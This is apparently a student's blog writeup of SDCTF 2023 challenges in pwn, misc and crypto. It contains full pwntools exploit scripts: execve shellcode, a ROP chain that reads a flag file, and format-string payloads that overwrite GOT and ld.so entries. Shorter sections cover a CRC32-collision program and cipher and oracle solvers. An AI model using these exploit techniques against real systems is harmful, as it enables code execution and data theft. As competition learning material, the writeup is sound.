Logo xia0o0o0o

SDCTF 2023 Writeup

May 8, 2023
9 min read
Table of Contents

SDCTF 2023 Writeup

I was so excited to participate in my first SDCTF event as an incoming student of UC San Diego. :-) It was a great opportunity to learn new skills, meet awesome people and have fun solving challenges. I really enjoyed the experience and I can’t wait for the next one!

PWN

Turtle Shell

Bypass the checking with add rax, 0x1

from pwn import *
 
sh = process("./turtle-shell")
sh = remote("turtle.sdc.tf", 1337)
context.arch = 'amd64'
 
shellcode = """
xor 	rsi,	rsi
push	rsi		
mov 	rdi,	0x68732f2f6e69622f
push	rdi
push	rsp		
pop	    rdi
mov 	al,	58
add     al, 1	
cdq					
syscall
"""
#gdb.attach(sh)
sh.sendlineafter(b'shell', asm(shellcode))
sh.interactive()

tROPic-thunder

Use open, read and write to read flag

from pwn import *
 
sh = process("./tROPic-thunder")
sh = remote("thunder.sdc.tf",1337)
context.arch = "amd64"
# Gadgets
 
pop_rdi_ret = 0x00000000004006a6
pop_rsi_ret = 0x000000000040165c
pop_rdx_ret = 0x00000000004589f5
pop_rax_ret = 0x00000000004005af
syscall_ret = 0x0000000000459747
bss = 0x00000000006D93A0
prompt = 0x00000000004C4A7F
payload = flat([
    pop_rsi_ret,
    prompt,
    pop_rax_ret,
    1,
    pop_rdi_ret,
    1,
    pop_rdx_ret,
    5,
    syscall_ret,
 
    pop_rdi_ret,
    0,
    pop_rsi_ret,
    bss,
    pop_rdx_ret,
    0x100,
    pop_rax_ret,
    0,
    syscall_ret,
 
    pop_rdi_ret,
    bss,
    pop_rsi_ret,
    0,
    pop_rdx_ret,
    0,
    pop_rax_ret,
    2,
    syscall_ret,
 
    pop_rdi_ret,
    3,
    pop_rsi_ret,
    bss,
    pop_rdx_ret,
    0x100,
    pop_rax_ret,
    0,
    syscall_ret,
 
    pop_rsi_ret,
    bss,
    pop_rax_ret,
    1,
    pop_rdi_ret,
    1,
    pop_rdx_ret,
    0x100,
    syscall_ret,
 
])
#gdb.attach(sh,'b *0x400c6a\nc')
 
payload = b'a'*(112+8)+payload
sh.sendlineafter(b'!', payload)
 
sh.sendlineafter(b'send', b'./flag.txt\x00')
 
sh.interactive()

money-printer

    if ( v6 > 0x3E8 )
    {
      printf(
        "wow you've printed money out of thin air, you have %u!!! Is there anything you would like to say to the audience?\n",
        v6);
      fgets(format, 100, stdin);
      printf("wow you said: ");
      printf(format);
      puts("\nthat's truly fascinating!");
      exit(0);
    }

v6 is unsigned int but all check against v4 is signed operation, so we can bypass the check with negative number. Then use the format string to leak flag.

from pwn import *
 
sh = process("./money-printer")
sh = remote("money.sdc.tf", 1337)
tob = lambda x: str(x).encode()
 
money = 0xFFFFFB00
sh.sendlineafter(b"?", tob(money))
sh.interactive()
from pwn import *
 
arr = [0x22c3260,0x34647b6674636473,0x665f7530795f6e6d,0x435f345f446e7530,0x304d345f597a3472,0x4d5f66305f374e75,0x79336e30]
for i in arr:
    # convert to string
    # print(bytes.fromhex(hex(i)[2:]).decode('utf-8'), end='')
    print(p64(i).decode(), end="")

money-printer2

I didn’t manage to brute force the address before the CTF ended, but I still want to note down the solution.

Notice that there are some residual address on the stack

0x00007ffc91e56ce0│+0x0000: 0xfffffb0000000000   ← $rsp
0x00007ffc91e56ce8│+0x0008: 0xfffffef2800004f5
0x00007ffc91e56cf0│+0x0010: 0x0000000000000000   ← $rdi
0x00007ffc91e56cf8│+0x0018: 0x0000000000000000
0x00007ffc91e56d00│+0x0020: 0x000000000000000b ("
                                                 "?)                                                                                                               
0x00007ffc91e56d08│+0x0028: 0x00007f4026c02660  →   push rbp
0x00007ffc91e56d10│+0x0030: 0x00007ffc91e56d78  →  0x00007ffc91e56e48  →  0x00007ffc91e58170  →  "./money-printer2"

0x00007f4026c02660 is in ld.so and 0x00007ffc91e56d78 points the the stack.

So we basically have two approach:

rtld_global

Partially overwrite the address of ld.so, make it point to _rtld_global+3840, where the rtld_lock_default_lock_recursive is stored.

  void
_dl_fini (void)
{
  /* Lots of fun ahead.  We have to call the destructors for all still
     loaded objects, in all namespaces.  The problem is that the ELF
     specification now demands that dependencies between the modules
     are taken into account.  I.e., the destructor for a module is
     called before the ones for any of its dependencies.
 
     To make things more complicated, we cannot simply use the reverse
     order of the constructors.  Since the user might have loaded objects
     using `dlopen' there are possibly several other modules with its
     dependencies to be taken into account.  Therefore we have to start
     determining the order of the modules once again from the beginning.  */
 
  /* We run the destructors of the main namespaces last.  As for the
     other namespaces, we pick run the destructors in them in reverse
     order of the namespace ID.  */
#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));
 
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
	 auditing DSOs.  */
      if (nloaded == 0
#ifdef SHARED
	  || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
	  )
	__rtld_lock_unlock_recursive (GL(dl_load_lock));
    // .........
    }
    // .........
    // .........
    // .........
    // .........
    // .........
}
 

And

# define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)
 
# define __rtld_lock_unlock_recursive(NAME) \
  GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)
 
# define __rtld_lock_unlock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif

_dl_fini() will be registered by _cxa_atexit in __libc_start_main(). And _dl_fini() will be called by __run_exit_handlers() when the program exits. And rtld_lock_default_lock_recursive will be called by _dl_fini(). So if we overwrite this field, we can jump back to main when the program exits. Then turn the challenge into a normal format string challenge.

from pwn import *
import sys
import tty
 
# $r14   : 0x00007fffffffdc40  →  0x00007ffff7e2b170  →  0x0000000000000000
 
def hack(debug=False):
    REMOTE_MODE = 0
 
    REMOTE_MODE = int(sys.argv[1])
 
    sh = process("./money-printer2",stdin=PTY,raw=False)
    #sh = None
    if REMOTE_MODE == 1:
        sh = remote("greed.sdc.tf", 1337)
    context.arch = "amd64"
 
    backdoor = 0x00000000004008F2
    exit_got = 0x601020
    tob = lambda x: str(x).encode()
 
    if REMOTE_MODE == 0 and debug == True:
        pass
 
    sh.sendlineafter(b"?", tob(0xFFFFFB00))
 
    payload = b"%4196096c%11$lln"
    payload = payload.ljust(0x18, b'\x41')+b'\x60\xaf'
    sh.sendlineafter(b'?', payload+b'\4\4')
    printf_got = 0x601038
    system_plt = 0x4006B0
    sh.sendlineafter(b"?", tob(0xFFFFFB00))
    sh.sendlineafter(b'?', fmtstr_payload(8, {printf_got: system_plt}))
    sh.sendlineafter(b"me!", tob(0xFFFFFB00))
    sleep(1)
    sh.sendline(b'cat flag; cat flag.txt; cat flag*')
    return sh
 
i = 0
#context.log_level = 'debug'
# sh = hack(False)
# sh.interactive()
while True:
    print("{}".format(i))
    i += 1
    try:
        sh = hack(sys.argv[2] == 'debug')
    except EOFError:
        print("Failed")
    else:
        print("Success")
        dt = sh.recvuntil(b'}')
        with open("getflag.txt", "wb") as f:
            f.write(dt)
        sh.interactive()
        exit(0)

Canary

There are also some residual stack pointers on the stack. We can partially overwrite them and make them point to the canary. Then overwrite the GOT entry of __stack_chk_fail to main and turn the challenge into a normal format string challenge.

from pwn import *
import sys
import tty
 
# $r14   : 0x00007fffffffdc40  →  0x00007ffff7e2b170  →  0x0000000000000000
 
def hack(debug=False):
    REMOTE_MODE = 0
 
    REMOTE_MODE = int(sys.argv[1])
 
    sh = process("./money-printer2",stdin=PTY,raw=False)
    if REMOTE_MODE == 1:
        sh = remote("greed.sdc.tf", 1337)
    context.arch = "amd64"
 
    backdoor = 0x00000000004008F2
    exit_got = 0x601020
    tob = lambda x: str(x).encode()
 
    if REMOTE_MODE == 0 and debug == True:
        pass
 
    sh.sendlineafter(b"?", tob(0xFFFFFB00))
 
    payload = b"%4196096c%11$lln"
    payload = payload.ljust(0x18, b'\x41')+b'\x60\xaf'
    sh.sendlineafter(b'?', payload+b'\4\4')
    #sleep(15)
    r = sh.recvuntil(b'\x60\xaf', timeout=1)
    if b'\x60\xaf' not in r:
        raise EOFError
    r = sh.recvuntil(b'gotten me', timeout=1)
    if b'gotten me' not in r:
        raise EOFError
    return sh
 
i = 0
context.log_level = 'debug'
while True:
    print("{}".format(i))
    i += 1
    try:
        sh = hack(True)
    except EOFError:
        print("Failed")
    else:
        print("Success")
        sh.interactive()
        exit(0)

Didn’t have the luck to hit the 1/4096 probability :(

Misc

Secure Runner

CRC32 collision. Easy to find with https://github.com/theonlypwner/crc32/

#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <time.h>
 
#define NUM_GUESS 10
 
int main() {
	srand(time(NULL));
	system("ls -al; cat flag.txt");
	unsigned int num_guesses = NUM_GUESS;
	unsigned int max = (unsigned int)pow(2, num_guesses) - 1;
	unsigned int secret = rand() % max;
 
	printf("Guess a number from 0 to %u in %u guesses:\n", max, num_guesses);
	
	while(num_guesses > 0) {
		if (num_guesses != NUM_GUESS) {
			printf("Next Guess (%u left):\n", num_guesses);
		}
		fflush(stdout);
		unsigned int guess = 0;
		scanf("%u",&guess);
		if (guess == secret) {
			printf("Congrats, you won!\n");
			return 0;
		}
		if (secret < guess) {
			printf("Number is lower! ");
		} else {
			printf("Number is higher! ");
		}
		fflush(stdout);
		num_guesses--;
	}
	printf("You ran out of guesses :(\n");
	return 0;
}
 
#define SduBPZpheWz

Fork bomb protector

Use the built-in command to read the flag.

echo *
while read -r data;
do
	echo "$data";
done < "flag.txt";

Crypto

Jumbled snake

First, recover the key with the_quick_brown_fox_jumps_over_the_lazy_dog By regex matching, we can find the pattern easily.

import re
if __name__ == "__main__":
    match = None
    with open ('print_flag.py.enc', 'r') as f:
        code = f.read()
        print(code)
        charset = string.printable
        for I in charset:
            # find pattern xxxIxxxxxIxxxxxIxxxIxxxxxIxxxxIxxxIxxxxIxxx
            # I is a printable character
            # x is arbitrary character
            regex = '...'+I+'.....'+I+'.....'+I+'...'+I+'.....'+I+'....'+I+'...'+I+'....'+I+'...'
            match = re.search(regex, code)
            if match:
                print(match)
                print(I)
                print(match)
                # get the matched string
                break

Now recover the key with __doc__

    origin = "the_quick_brown_fox_jumps_over_the_lazy_dog"
    encoded = match.group()
    span = match.span()
    key = {}
    for i in range(len(origin)):
        key[encoded[i]] = origin[i]
    with open('print_flag.py.enc', 'r') as f:
        e = f.read()
        encoded = "': 123456789.0, 'items':[]}"
        i = 0
        while i < len(encoded):
            key[e[i+span[1]]] = encoded[i]
            i+=1

Some keys can be identified by ourself now

    key['y'] = '{'
    key[']'] = '"'
    key['b'] = '\n'
    key['J'] = '='
    key['^'] = '('
    key['g'] = ')'
    key['.'] = '#'
    key['='] = '!'

Now try to recover the script, we can notice the second hint.

 decode_flag.__doc__.upper()[2:45] == reverse(check.__doc__)

And recover the script with this hint.

    origin = "{'the_quick_brown_fox_jumps_over_the_lazy_dog':"
    check_doc = """F+
_f5}I_7|0_17s+_B&N)K_n+(_,O+1q_CQ*)`_7|0"""
    check_doc = list(reversed(check_doc))
    origin_upper = origin.upper()[2:45]
 
    for i in range(len(origin_upper)):
        if check_doc[i] not in key:
            key[check_doc[i]] = origin_upper[i]

And finally we have

import os
import secrets
import string
 
def get_rand_key(charset: str = string.printable):
    chars_left = list(charset)
    key = {}
    for char in charset:
        val = secrets.choice(chars_left)
        chars_left.remove(val)
        key[char] = val
    assert not chars_left
    return key
 
def subs(msg: str, key) -> str:
    return ''.join(key[c] for c in msg)
 
# 3 5 5 3 5 4 3 4 3
import re
if __name__ == "__main__":
    match = None
    with open ('print_flag.py.enc', 'r') as f:
        code = f.read()
        print(code)
        charset = string.printable
        for I in charset:
            # find pattern xxxIxxxxxIxxxxxIxxxIxxxxxIxxxxIxxxIxxxxIxxx
            # I is a printable character
            # x is arbitrary character
            regex = '...'+I+'.....'+I+'.....'+I+'...'+I+'.....'+I+'....'+I+'...'+I+'....'+I+'...'
            match = re.search(regex, code)
            if match and I == 'X':
                print(match)
                print(I)
                print(match)
                # get the matched string
                break
    print("found")
    origin = "the_quick_brown_fox_jumps_over_the_lazy_dog"
    encoded = match.group()
    span = match.span()
    key = {}
    for i in range(len(origin)):
        key[encoded[i]] = origin[i]
    with open('print_flag.py.enc', 'r') as f:
        e = f.read()
        encoded = "': 123456789.0, 'items':[]}"
        i = 0
        while i < len(encoded):
            key[e[i+span[1]]] = encoded[i]
            i+=1
    key['y'] = '{'
    key[']'] = '"'
    key['b'] = '\n'
    key['J'] = '='
    key['^'] = '('
    key['g'] = ')'
    key['.'] = '#'
    key['='] = '!'
    print(key, len(key), len(string.printable))
    data = ""
    origin = "{'the_quick_brown_fox_jumps_over_the_lazy_dog':"
    check_doc = """F+
_f5}I_7|0_17s+_B&N)K_n+(_,O+1q_CQ*)`_7|0"""
    check_doc = list(reversed(check_doc))
    origin_upper = origin.upper()[2:45]
 
    for i in range(len(origin_upper)):
        if check_doc[i] not in key:
            key[check_doc[i]] = origin_upper[i]
            
    print("check doc len={}".format(len(check_doc)))
    with open('print_flag.py.enc', 'r') as f:
        e = f.read()
        for c in e:
            if c in key:
                data += key[c]
            else:
                data += c
    print(data)

And finally we can have the flag

echo c2RjdGZ7VV91blJhdjNsZWRfdEgzX3NuM2shfQ== | base64 -d
sdctf{U_unRav3led_tH3_sn3k!}

Lake of Pseudo Random Fire

Notice that pseudorandom(self, msg) will decrypt the msg after XOR with 0xff. So by XORing the first part of the returned strings of pseudorandom(self, msg) we can recover the msg sent by us if it is a pseudorandom door.

from pwn import *
 
sh = process(["python3", "./game.py"])
sh = remote("prf.sdc.tf", 1337)
for i in range(50):
    print("round: "+str(i))
    data = b'00000000000000000000000000000000'
    sh.sendlineafter(b'number: ', b'3')
    sh.sendlineafter(b'utter: ', data)
    sh.recvuntil(b"sings: ")
    door1 = sh.recv(64)
    sh.recvuntil(b"sings: ")
    door2 = sh.recv(64)
    
    binascii.hexlify(bytes(x ^ 0xff for x in binascii.unhexlify(door1[:32])))
    sh.sendlineafter(b'number: ', b'3')
    sh.sendlineafter(b'utter: ', binascii.hexlify(bytes(x ^ 0xff for x in binascii.unhexlify(door1[:32]))))
    sh.recvuntil(b"sings: ")
    door1 = sh.recv(64)
    sh.recvuntil(b"sings: ")
    door2 = sh.recv(64)
 
    if data in door1:
        sh.sendlineafter(b'number: ', b'2')
    else:
        sh.sendlineafter(b'number: ', b'1')
    
sh.interactive()